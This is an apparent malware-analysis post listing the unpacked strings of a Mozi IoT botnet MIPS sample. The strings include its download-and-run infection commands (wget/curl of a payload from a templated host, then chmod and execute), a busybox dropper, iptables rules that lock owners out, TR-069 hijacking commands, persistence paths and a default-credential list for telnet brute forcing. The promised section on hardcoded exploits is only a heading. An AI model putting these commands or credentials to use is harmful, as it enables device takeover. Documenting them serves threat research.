Unpacked strings & recent exploits cmd of MOZI #2 (MIPS ELF)

Mozi IoT malware has launched another new campaign now.
This report contains two (2) parts. (1) unpacked strings of MIPS ELF of (latest) MOZI Linux/IoT malware, (2) the attack types that is also hardcoded. Sample hash is: 4dde761681684d7edad4e5e1ffdb940b

(1) Strings in the unpacked binary

0x0002c960 sfjsxkfl2dn6ani
0x0002c970 8.8.8.8
0x0002c978 /proc/net/route
0x0002c988 \t00000000\t
0x0002c994 RANDOM
0x0002c99c %s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n
0x0002c9e4 GET /cdn-cgi/l/chk_captcha HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n
0x0002ca58 HTTP
0x0002ca70 Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)
0x0002caac Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
0x0002caf0 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
0x0002cb34 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
0x0002cb78 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
0x0002cbbc Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
0x0002cc00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
0x0002cc44 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
0x0002ccb4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
0x0002cd28 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
0x0002cd74 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
0x0002cdfc Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
0x0002ce48 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
0x0002ceb8 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
0x0002cf28 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
0x0002cf9c Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
0x0002d014 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
0x0002d05c Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
0x0002d08c Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
0x0002d0cc Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
0x0002d118 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
0x0002d190 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
0x0002d200 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
0x0002d270 Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
0x0002d2e4 Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
0x0002d378 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
0x0002d3c0 Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)
0x0002d408 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
0x0002d448 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)
0x0002d4c4 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
0x0002d52c Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)
0x0002d5a8 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
0x0002d5f8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
0x0002d64c Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
0x0002d6a0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
0x0002d6f4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
0x0002d74c HEAD
0x0002d754 POST
0x0002d75c ./config
0x0002d768 /tmp/config
0x0002d774 /var/config
0x0002d780 select: %s [%s:%d]\n
0x0002d794 botv2/config.c
0x0002d7a4 connect time out
0x0002d7b8 GET /c HTTP/1.0\n
0x0002d7cc Host: %s\n
0x0002d7d8 %d.%d.%d.%d
0x0002d7e4 %hhu.%hhu.%hhu.%hhu
0x0002d7f8 8.8.8.8 pool.ntp.org ntp.ubuntu.com time.nist.gov
0x0002d834 %lu.%lu.%lu.%lu
0x0002d844 (null)
0x0002d84c [dip]
0x0002d854 [/dip]
0x0002d85c 7001
0x0002d864 [atk]
0x0002d86c [/atk]
0x0002d874 loginok
0x0002d87c Host: %s
0x0002d888 %s:%d
0x0002d890 http
0x0002d898 Server:
0x0002d8a0 Content-Length
0x0002d8b0 HTTP/
0x0002d8b8 complete
0x0002d8c4 gpon8080
0x0002d8d4 gpon80
0x0002d8dc realtek
0x0002d8e4 netgear8080
0x0002d8f0 netgear80
0x0002d8fc huawei
0x0002d904 tr064
0x0002d90c hnap
0x0002d914 camcrossweb
0x0002d920 camjaws
0x0002d928 dlink
0x0002d930 r7064
0x0002d938 vacron
0x0002d944 mv -f %s %s
0x0002d958 1:v4:JBls
0x0002d964 %02X
0x0002d96c %d%c%d%c%d%c%d%c
0x0002d980 %s\t%lX\t%lX
0x0002d98c /etc/rc.d/rc.local
0x0002d9a0 /etc/rc.local
0x0002d9b4 exit
0x0002d9bc \n%s%s
0x0002d9c4 &\nexit 0\n
0x0002d9d8 config
0x0002d9e0 %ld%s%s
0x0002d9e8 &\nexit 1\n
0x0002d9fc %s/%s
0x0002da04 /proc/
0x0002da0c /var/
0x0002da14 /lib/
0x0002da1c /dev/
0x0002da24 /sys/
0x0002da2c cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"
0x0002da90 cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"
0x0002db00 iptables -I INPUT  -p tcp --destination-port 35000 -j DROP
0x0002db3c iptables -I INPUT  -p tcp --destination-port 50023 -j DROP
0x0002db78 iptables -I OUTPUT -p tcp --source-port 50023 -j DROP
0x0002dbb0 iptables -I OUTPUT -p tcp --source-port 35000 -j DROP
0x0002dbe8 iptables -I INPUT  -p tcp --destination-port 7547 -j DROP
0x0002dc24 iptables -I OUTPUT -p tcp --source-port 7547 -j DROP
0x0002dc5c /mnt/jffs2/Equip.sh
0x0002dc70 %s%s%s%s
0x0002dc7c #!/bin/sh
0x0002dc88 /mnt/jffs2/wifi.sh
0x0002dc9c /mnt/jffs2/WifiPerformance.sh
0x0002dcbc /proc/mounts
0x0002dccc %255s %255s %255s %255s\n
0x0002dcf8 /bin/sh
0x0002dd00 /bin/bash
0x0002dd0c /etc/rc.d/
0x0002dd18 /etc/rcS.d/
0x0002dd24 %s%s%s%s%s
0x0002dd34 /etc/init.d/S95baby.sh
0x0002dd4c iptables -I INPUT  -p tcp --destination-port 58000 -j DROP
0x0002dd88 iptables -I OUTPUT -p tcp --source-port 58000 -j DROP
0x0002ddc0 /usr/local/ct
0x0002ddd0 rm /home/httpd/web_shell_cmd.gch
0x0002ddf4 echo 3 > /usr/local/ct/ctadmincfg
0x0002de18 /usr/local/ct/ctadmin0
0x0002de30 sendcmd 1 DB set MgtServer 0 Tr069Enable 1
0x0002de5c sendcmd 1 DB set PdtMiddleWare 0 Tr069Enable 0
0x0002de8c sendcmd 1 DB set MgtServer 0 URL http://127.0.0.1
0x0002dec0 sendcmd 1 DB set MgtServer 0 UserName notitms
0x0002def0 sendcmd 1 DB set MgtServer 0 ConnectionRequestUsername notitms
0x0002df30 sendcmd 1 DB set MgtServer 0 PeriodicInformEnable 0
0x0002df64 sendcmd 1 DB save
0x0002df78 [count]
0x0002df80 [/count]
0x0002df8c [ver]
0x0002df94 [/ver]
0x0002df9c [hp]
0x0002dfa4 [/hp]
0x0002dfb0 /dev/urandom
0x0002dfc0 /dev/random
0x0002dfcc /overlay
0x0002dfd8 mount -o remount,rw /overlay /
0x0002dff8 /overlay/upper
0x0002e008 /overlay/upper/usr
0x0002e01c /overlay/upper/etc
0x0002e030 /overlay/upper/etc/rc.d
0x0002e048 /overlay/upper/etc/init.d
0x0002e064 /overlay/usr
0x0002e074 /overlay/etc
0x0002e084 /overlay/etc/rc.d
0x0002e098 /overlay/etc/init.d
0x0002e0ac /usr/networks
0x0002e0bc /usr/networkstmp
0x0002e0d0 %5hu
0x0002e0d8 GET %s HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\nContent-Type: application/octet-stream\r\nReferer: http://baidu.com/%s/%s/%d/%s/%s%s)\r\n\r\n
0x0002e164 GET %s HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\nContent-Type: application/octet-stream\r\n\r\n
0x0002e1c4 HTTP/1.1
0x0002e1d0 Content-Length:
0x0002e1e0 Content-Type:
0x0002e1f0 no aliases
0x0002e200 [ud]
0x0002e208 [/ud]
0x0002e210 confirmed.list
0x0002e220 new.list
0x0002e22c kill -9 %d
0x0002e238 baby
0x0002e240 [dr]
0x0002e248 [/dr]
0x0002e254 botv2/headers/down.h
0x0002e26c 1:v4:
0x0002e278 2:id20:
0x0002e280 9:info_hash20:
0x0002e290 porti
0x0002e298 6:target20:
0x0002e2a4 5:token
0x0002e2ac 5:nodes
0x0002e2b4 6:nodes6
0x0002e2c0 6:valuesl
0x0002e2cc 4:wantl
0x0002e2dc 1:y1:r
0x0002e2e4 1:y1:e
0x0002e2ec 1:y1:q
0x0002e2f4 1:q4:ping
0x0002e300 1:q9:find_node
0x0002e310 1:q9:get_peers
0x0002e320 1:q13:announce_peer
0x0002e334 d1:eli%de%d:
0x0002e344 e1:t%d:
0x0002e34c 1:y1:ee
0x0002e354 d1:rd2:id20:
0x0002e364 5:nodes%d:
0x0002e370 6:nodes6%d:
0x0002e37c 1:y1:re
0x0002e384 d1:ad2:id20:
0x0002e394 2:n4
0x0002e39c 2:n6
0x0002e3a4 4:wantl%s%se
0x0002e3b4 e1:q9:find_node1:t%d:
0x0002e3cc 1:y1:qe
0x0002e3d8 e1:q4:ping1:t%d:
0x0002e3f0 [cpux]
0x0002e3f8 [/cpux]
0x0002e400 [cpu]
0x0002e408 [/cpu]
0x0002e410 [ssx]
0x0002e418 [/ssx]
0x0002e420 [ss]
0x0002e428 [/ss]
0x0002e430 none
0x0002e438 [sv]
0x0002e440 [/sv]
0x0002e448 [rn]
0x0002e450 [/rn]
0x0002e458 run:
0x0002e460 [nd]
0x0002e468 [/nd]
0x0002e470 /tmp
0x0002e478 /var
0x0002e480 /temp
0x0002e488 iptables -I INPUT  -p udp --destination-port %d -j ACCEPT
0x0002e4c4 iptables -I OUTPUT -p udp --source-port %d -j ACCEPT
0x0002e4fc iptables -I PREROUTING  -t nat -p udp --destination-port %d -j ACCEPT
0x0002e544 iptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT
0x0002e588 0.0.0.0
0x0002e590 [idp]
0x0002e598 This node doesn t accept announces
0x0002e5bc dht.transmissionbt.com:6881
0x0002e5d8 router.bittorrent.com:6881
0x0002e5f4 router.utorrent.com:6881
0x0002e610 bttracker.debian.org:6881
0x0002e62c 212.129.33.59:6881
0x0002e640 82.221.103.244:6881
0x0002e654 130.239.18.159:6881
0x0002e668 87.98.162.88:6881
0x0002e67c /temp/
0x0002e684 /var/tmp/
0x0002e690 /var/run/
0x0002e69c /usr/
0x0002e6a4 /mnt/
0x0002e6ac /home/
0x0002e6b4 http://
0x0002e6bc https://
0x0002e750 GET /c
0x0002e760 HTTP/1.1 200 OK\r\nServer: nginx\r\nContent-Length: %d\r\nConnection: close\r\nContent-Type: application/zip\r\n\r\n loginok
0x0002e7d4 HTTP/1.1 200 OK\r\nServer: nginx\r\nContent-Length: %d\r\nConnection: close\r\nContent-Type: application/zip\r\n\r\n
0x0002e840 iptables -I INPUT  -p tcp --destination-port %d -j ACCEPT
0x0002e87c iptables -I OUTPUT -p tcp --source-port %d -j ACCEPT
0x0002e8b4 iptables -I PREROUTING  -t nat -p tcp --destination-port %d -j ACCEPT
0x0002e8fc iptables -I POSTROUTING -t nat -p tcp --source-port %d -j ACCEPT
0x0002e940 iptables -I INPUT  -p tcp --destination-port 22 -j DROP
0x0002e978 iptables -I INPUT  -p tcp --destination-port 23 -j DROP
0x0002e9b0 iptables -I INPUT  -p tcp --destination-port 2323 -j DROP
0x0002e9ec iptables -I OUTPUT -p tcp --source-port 22 -j DROP
0x0002ea20 iptables -I OUTPUT -p tcp --source-port 23 -j DROP
0x0002ea54 iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
0x0002ea8c /dev/watchdog
0x0002ea9c /dev/watchdog0
0x0002eaac /dev/misc/watchdog
0x0002eac0 /etc/watchdog
0x0002ead0 /dev/FTWDT101_watchdog
0x0002eae8 /dev/FTWDT101\\ watchdog
0x0002eb00 /dev/FTWDT101/watchdog
0x0002eb18 /sbin/watchdog
0x0002eb28 /bin/watchdog
0x0002eb38 /etc/default/watchdog
0x0002eb50 /proc/%d/status
0x0002eb60 %*s %s
0x0002eb68 /proc/net/raw
0x0002eb78 /proc/net/tcp
0x0002eb8c killall -9 %s
0x0002eb9c /proc
0x0002eba4 /proc/%s/exe
0x0002ebb4 /run
0x0002ebbc /baby
0x0002ebc4 /usr/bin/python
0x0002ebd4 sshd
0x0002ebdc dropbear
0x0002ebe8 255.255.255.255
0x0002ebf8 255.255.0.0
0x0002ec04 %08X%08X%08X%08X%08X%08X
0x0002ecfb Oh.o
0x0002ed20 [debug] >>> %s
0x0002ed30 -ne ELF
0x0002ed38 sage:
0x0002ed40 /bin/busybox cat /bin/ls|head -n 1\r\n
0x0002ed68 /bin/busybox hexdump -e `16/1 "%c"` -n 52 /bin/ls\r\n
0x0002ed9c /bin/busybox cat /bin/ls|more\r\n
0x0002edc0 dd bs=52 count=1 if=/bin/ls || cat /bin/ls || while read i; do echo $i; done < /bin/ls || while read i; do echo $i; done < /bin/busybox\r\n
0x0002ee4c /bin/busybox dd bs=52 count=1 if=/bin/ls || /bin/busybox cat /bin/ls || while read i; do printf $i; done < /bin/ls || while read i; do printf $i; done < /bin/busybox\r\n
0x0002ef00 sparc
0x0002ef08 i686
0x0002ef10 m68k
0x0002ef18 powerpc
0x0002ef24 superh
0x0002ef2c x86_64
0x0002ef34 mipsel
0x0002ef3c mips
0x0002ef44 \\x%02x
0x0002ef54 /bin/busybox chmod 777 Mozi || (cp /bin/ls Mozz;cat Mozi>Mozz;rm Mozi;cp Mozz Mozi;rm Mozz)
0x0002efb4 /bin/busybox echo  -en `%s` %s Mozi; %s ;/bin/busybox echo -en `\\x44\\x52\\x4f\\x50\\x50\\x45\\x52`\r\n
0x0002f014 /bin/busybox echo '%s' %s Mozi; %s ; /bin/busybox echo '\\x44\\x52\\x4f\\x50\\x50\\x45\\x52'\r\n
0x0002f06c ./Mozi %d %d %d %d %d;./Runn;/bin/busybox echo -e '\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64'\r\n
0x0002f0c8 connected
0x0002f0d4 nvalid
0x0002f0dc ailed
0x0002f0e4 ncorrect
0x0002f0f0 enied
0x0002f0f8 rror
0x0002f100 oodbye
0x0002f114 shell
0x0002f11c dvrdvs
0x0002f124 mdm9625
0x0002f12c 9615-cdp
0x0002f140 #user
0x0002f148 ogin
0x0002f150 name
0x0002f158 pass
0x0002f160 busybox
0x0002f168 cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://%s:%d/i; curl -O http://%s:%d/i; /bin/busybox wget http://%s:%d/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64'\r\n
0x0002f278 cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://%s:%d/bin.sh; curl -O http://%s:%d/bin.sh; /bin/busybox wget http://%s:%d/bin.sh; chmod 777 bin.sh || (cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh); sh bin.sh %s; echo -e '\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x65\\x64'\r\n
0x0002f3c4 start\r\nenable\r\nconfig terminal\r\nsystem\r\nlinuxshell\r\nsu\r\nshell\r\nsh\r\ncd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'\r\n
0x0002f470 /bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'\r\n
0x0002f4ac DROPPER
0x0002f4ff troot
0x0002f508 admin
0x0002f510 CUAdmin
0x0002f51c default
0x0002f528 rapport
0x0002f534 super
0x0002f53c telnetadmin
0x0002f54c !!Huawei
0x0002f558 keomeo
0x0002f560 support
0x0002f56c CMCCAdmin
0x0002f578 e8telnet
0x0002f584 e8ehome1
0x0002f590 e8ehome
0x0002f59c user
0x0002f5a4 mother
0x0002f5ac Administrator
0x0002f5bc service
0x0002f5c8 supervisor
0x0002f5d4 guest
0x0002f5dc admin1
0x0002f5e4 administrator
0x0002f5f4 666666
0x0002f5fc 888888
0x0002f604 ubnt
0x0002f60c tech
0x0002f614 xc3511
0x0002f61c vizxv
0x0002f624 Pon521
0x0002f62c e2008jl
0x0002f638 r@p8p0r+
0x0002f644 GM8182
0x0002f64c gpon
0x0002f654 Zte521
0x0002f65c hg2x0
0x0002f664 epicrouter
0x0002f670 conexant
0x0002f67c xJ4pCYeW
0x0002f688 v2mprt
0x0002f690 PhrQjGzk
0x0002f69c h@32LuyD
0x0002f6a8 gw1admin
0x0002f6b4 adminpass
0x0002f6c0 xmhdipc
0x0002f6cc juantech
0x0002f6d8 @HuaweiHgw
0x0002f6e4 adminHW
0x0002f6f0 2010vesta
0x0002f6fc 2011vesta
0x0002f708 plumeria0077
0x0002f718 cat1029
0x0002f724 123456
0x0002f72c 54321
0x0002f738 hi3518
0x0002f740 password
0x0002f74c 12345
0x0002f754 fucker
0x0002f75c pass
0x0002f764 admin1234
0x0002f770 1111
0x0002f778 smcadmin
0x0002f784 1234
0x0002f78c klv123
0x0002f794 klv1234
0x0002f7a8 jvbzd
0x0002f7b0 anko
0x0002f7b8 zlxx
0x0002f7c0 7ujMko0vizxv
0x0002f7d0 7ujMko0admin
0x0002f7e0 system
0x0002f7e8 ikwb
0x0002f7f0 dreambox
0x0002f7fc realtek
0x0002f808 00000000
0x0002f814 1111111
0x0002f820 meinsm
0x0002f9fe ATU1
0x0002fa95 fﾇ・0
0x0002fbfb \n\r\n\ru
0x0002fcb8 Mozi\n
0x0002fcbe /proc/self/cmdline
0x0002fcd1 Runn
0x0002fcd6 ERR\n
0x0002fcdb GET /Mozi.6 HTTP/1.0\r\n\r\n
0x0002fcf4 FIN\n
0x0002fe79 .shstrtab
0x0002fe83 .text
0x0002fe89 .rodata
0x0002fe91 .bss
0x00030490 \n\r\n\rx
0x00030514 /proc/self/cmdline
0x00030528 Runn
0x00030530 ERR\n
0x00030538 GET /Mozi.7 HTTP/1.0\r\n\r\n
0x00030554 FIN\n
0x0003056d aeabi
0x00030579 .shstrtab
0x00030583 .text
0x00030589 .rodata
0x00030591 .got
0x00030596 .bss
0x0003059b .ARM.attributes
0x00030b98 Mozi\n
0x00030ba0 /proc/self/cmdline
0x00030bb8 Runn
0x00030bc0 ERR\n
0x00030bc8 GET /Mozi.c HTTP/1.0\r\n\r\n
0x00030be8 FIN\n
0x00030bf1 .shstrtab
0x00030bfb .text
0x00030c01 .rodata
0x00030c09 .bss
0x0003122e \r\n4B\r\n
0x00031420 Mozi\n
0x00031428 /proc/self/cmdline
0x0003143c Runn
0x00031444 ERR\n
0x0003144c GET /Mozi.m HTTP/1.0\r\n\r\n
0x00031468 FIN\n
0x000314d9 .shstrtab
0x000314e3 .text
0x000314e9 .rodata
0x000314f1 .got
0x000314f6 .bss
0x000314fb .mdebug.abi32
0x000319d5 RPSW
0x00031a17 [^_]
0x00031a28 UWVS
0x00031a48 ﾍ€[^_]=
0x00031a77 Mozi\n
0x00031a7d /proc/self/cmdline
0x00031a90 Runn
0x00031a95 ERR\n
0x00031a9a GET /Mozi.x HTTP/1.0\r\n\r\n
0x00031ab3 FIN\n
0x00031ab9 .shstrtab
0x00031ac3 .text
0x00031ac9 .rodata
0x00031ad1 .bss
0x00031fe0 \n\r\n\rﾐ・
0x0003202c Mozi\n
0x00032034 /proc/self/cmdline
0x00032048 Runn
0x00032050 ERR\n
0x00032058 GET /Mozi.a HTTP/1.0\r\n\r\n
0x00032074 FIN\n
0x0003207d .shstrtab
0x00032087 .text
0x0003208d .rodata
0x00032095 .bss
0x000325c8 Mozi\n
0x000325d0 /proc/self/cmdline
0x000325e4 Runn
0x000325ec ERR\n
0x000325f4 GET /Mozi.s HTTP/1.0\r\n\r\n
0x00032610 FIN\n
0x00032619 .shstrtab
0x00032623 .text
0x00032629 .rodata
0x00032631 .bss
0x00032c2a Mozi\n
0x00032c30 /proc/self/cmdline
0x00032c43 Runn
0x00032c48 ERR\n
0x00032c4d GET /Mozi.r HTTP/1.0\r\n\r\n
0x00032c66 FIN\n
0x000336ed .shstrtab
0x000336f7 .text
0x000336fd .rodata
0x00033705 .tbss
0x0003370b .got
0x00033d03 \b\r\n\r\n
0x00033d74 Mozi\n
0x00033d7c /proc/self/cmdline
0x00033d90 Runn
0x00033d98 ERR\n
0x00033da0 GET /Mozi.b HTTP/1.0\r\n\r\n
0x00033dbc FIN\n
0x00033dc5 .shstrtab
0x00033dcf .text
0x00033dd5 .rodata
0x00033ddd .bss
0x00034578 Mozi\n
0x00034580 /proc/self/cmdline
0x00034598 Runn
0x000345a0 ERR\n
0x000345a8 GET /Mozi.4 HTTP/1.0\r\n\r\n
0x000345c8 FIN\n
0x00034689 .shstrtab
0x00034693 .text
0x00034699 .rodata
0x000346a1 .got
0x000346a6 .bss
0x00034cd2 Mozi\n
0x00034cd8 /proc/self/cmdline
0x00034ceb Runn
0x00034cf0 ERR\n
0x00034cf5 GET /Mozi.k HTTP/1.0\r\n\r\n
0x00034d0e FIN\n
0x00034d15 .shstrtab
0x00034d1f .text
0x00034d25 .rodata
0x00034d2d .bss
0x00035594 Mozi\n
0x0003559c /proc/self/cmdline
0x000355b0 Runn
0x000355b8 ERR\n
0x000355c0 GET /Mozi.l HTTP/1.0\r\n\r\n
0x000355dc FIN\n
0x0003564d .shstrtab
0x00035657 .text
0x0003565d .rodata
0x00035665 .got
0x0003566a .bss
0x0003566f .mdebug.abi32
0x00035cf4 Mozi\n
0x00035cfc /proc/self/cmdline
0x00035d10 Runn
0x00035d18 ERR\n
0x00035d20 GET /Mozi.p HTTP/1.0\r\n\r\n
0x00035d3c FIN\n
0x00035d45 .shstrtab
0x00035d4f .text
0x00035d55 .rodata
0x00035d5d .sbss
0x00035e50 (nil)
0x00035e6f \b\n\n\n
0x00035e80 hlLjztqZ
0x00035ec0 npxXoudifFeEgGaACScs
0x00035f17 \a\b\t\n\v\f\r
0x00035f3a #$%&`()*+,234567
0x00035f4b ;<=>?@ABCDEFGJIMOPQRSTUVWX[\\^_`abcxyz{|}~
0x00035f90 Unknown error
0x00035fa0 Success
0x00035fa8 Operation not permitted
0x00035fc0 No such file or directory
0x00035fda No such process
0x00035fea Interrupted system call
0x00036002 Input/output error
0x00036015 No such device or address
0x0003602f Argument list too long
0x00036046 Exec format error
0x00036058 Bad file descriptor
0x0003606c No child processes
0x0003607f Resource temporarily unavailable
0x000360a0 Cannot allocate memory
0x000360b7 Permission denied
0x000360c9 Bad address
0x000360d5 Block device required
0x000360eb Device or resource busy
0x00036103 File exists
0x0003610f Invalid cross-device link
0x00036129 No such device
0x00036138 Not a directory
0x00036148 Is a directory
0x00036157 Invalid argument
0x00036168 Too many open files in system
0x00036186 Too many open files
0x0003619a Inappropriate ioctl for device
0x000361b9 Text file busy
0x000361c8 File too large
0x000361d7 No space left on device
0x000361ef Illegal seek
0x000361fc Read-only file system
0x00036212 Too many links
0x00036221 Broken pipe
0x0003622d Numerical argument out of domain
0x0003624e Numerical result out of range
0x0003626c Resource deadlock avoided
0x00036286 File name too long
0x00036299 No locks available
0x000362ac Function not implemented
0x000362c5 Directory not empty
0x000362d9 Too many levels of symbolic links
0x000362fc No message of desired type
0x00036317 Identifier removed
0x0003632a Channel number out of range
0x00036346 Level 2 not synchronized
0x0003635f Level 3 halted
0x0003636e Level 3 reset
0x0003637c Link number out of range
0x00036395 Protocol driver not attached
0x000363b2 No CSI structure available
0x000363cd Level 2 halted
0x000363dc Invalid exchange
0x000363ed Invalid request descriptor
0x00036408 Exchange full
0x00036416 No anode
0x0003641f Invalid request code
0x00036434 Invalid slot
0x00036442 Bad font file format
0x00036457 Device not a stream
0x0003646b No data available
0x0003647d Timer expired
0x0003648b Out of streams resources
0x000364a4 Machine is not on the network
0x000364c2 Package not installed
0x000364d8 Object is remote
0x000364e9 Link has been severed
0x000364ff Advertise error
0x0003650f Srmount error
0x0003651d Communication error on send
0x00036539 Protocol error
0x00036548 Multihop attempted
0x0003655b RFS specific error
0x0003656e Bad message
0x0003657a Value too large for defined data type
0x000365a0 Name not unique on network
0x000365bb File descriptor in bad state
0x000365d8 Remote address changed
0x000365ef Can not access a needed shared library
0x00036616 Accessing a corrupted shared library
0x0003663b .lib section in a.out corrupted
0x0003665b Attempting to link in too many shared libraries
0x0003668b Cannot exec a shared library directly
0x000366b1 Invalid or incomplete multibyte or wide character
0x000366e3 Interrupted system call should be restarted
0x0003670f Streams pipe error
0x00036722 Too many users
0x00036731 Socket operation on non-socket
0x00036750 Destination address required
0x0003676d Message too long
0x0003677e Protocol wrong type for socket
0x0003679d Protocol not available
0x000367b4 Protocol not supported
0x000367cb Socket type not supported
0x000367e5 Operation not supported
0x000367fd Protocol family not supported
0x0003681b Address family not supported by protocol
0x00036844 Address already in use
0x0003685b Cannot assign requested address
0x0003687b Network is down
0x0003688b Network is unreachable
0x000368a2 Network dropped connection on reset
0x000368c6 Software caused connection abort
0x000368e7 Connection reset by peer
0x00036900 No buffer space available
0x0003691a Transport endpoint is already connected
0x00036942 Transport endpoint is not connected
0x00036966 Cannot send after transport endpoint shutdown
0x00036994 Too many references: cannot splice
0x000369b7 Connection timed out
0x000369cc Connection refused
0x000369df Host is down
0x000369ec No route to host
0x000369fd Operation already in progress
0x00036a1b Operation now in progress
0x00036a35 Stale NFS file handle
0x00036a4b Structure needs cleaning
0x00036a64 Not a XENIX named type file
0x00036a80 No XENIX semaphores available
0x00036a9e Is a named type file
0x00036ab3 Remote I/O error
0x00036ac4 Disk quota exceeded
0x00036ad8 No medium found
0x00036ae8 Wrong medium type
0x00036afa File locking deadlock error
0x00036b64 0123456789abcdef
0x00036bb0 %u.%u.%u.%u.in-addr.arpa
0x00036bcc %x.%x.
0x00036bd4 ip6.arpa
0x00036e70 /dev/null
0x0003728f \a\b\t\n\v\f\r
0x000372c1  !#$%&`()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~
0x00037534 hlLjztq
0x00037548 npxXoudifFeEgGaACSncs[
0x00037587 \n\n\n\n\n\n\n\n
0x00037590 (nil)
0x0003759b nfinity
0x000375cf \b/etc/services
0x000375ec /etc/resolv.conf
0x00037600 /etc/config/resolv.conf
0x00037618 nameserver
0x00037624 domain
0x0003762c search
0x00037645 \ninfinity
0x00037660 /etc/hosts
0x0003766c /etc/config/hosts

(2) Attack method to infect vulnerabilities hard coded in Mozi:

